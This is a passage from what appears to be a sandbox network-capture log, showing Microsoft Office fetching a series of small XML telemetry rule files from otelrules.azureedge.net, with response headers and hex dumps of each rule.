2024-11-24 01:14:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 65361fd5-201e-0033-283f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011402Z-15b8b599d88hr8sfhC1TEBbca400000003p0000000006xpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011402Z-174c587ffdfp4vpjhC1TEBybqw00000003tg000000004k2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011402Z-15b8b599d882l6clhC1TEBxd5c00000003kg00000000efrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3e5933f5-801e-00ac-572e-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011402Z-178bfbc474bscnbchC1NYCe7eg00000005b000000000famt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:02 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: de6003cd-b01e-0098-493c-3ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011402Z-178bfbc474bbcwv4hC1NYCypys00000005500000000063rw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:02 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:04 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011404Z-174c587ffdf8fcgwhC1TEBnn7000000003sg00000000sne2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:04 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011404Z-174c587ffdfx984chC1TEB676g00000003ug00000000152u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:04 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011404Z-178bfbc474bq2pr7hC1NYCkfgg00000005dg000000008cb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:04 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: eb93f719-b01e-0098-406c-3dcead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011404Z-15b8b599d88wk8w4hC1TEB14b800000003t0000000008q7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:04 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011405Z-178bfbc474bpnd5vhC1NYC4vr4000000056000000000gnfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:06 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d02e2b11-101e-00a2-2d3a-3c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011406Z-178bfbc474bxkclvhC1NYC69g4000000057g000000006qw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:06 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:06 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
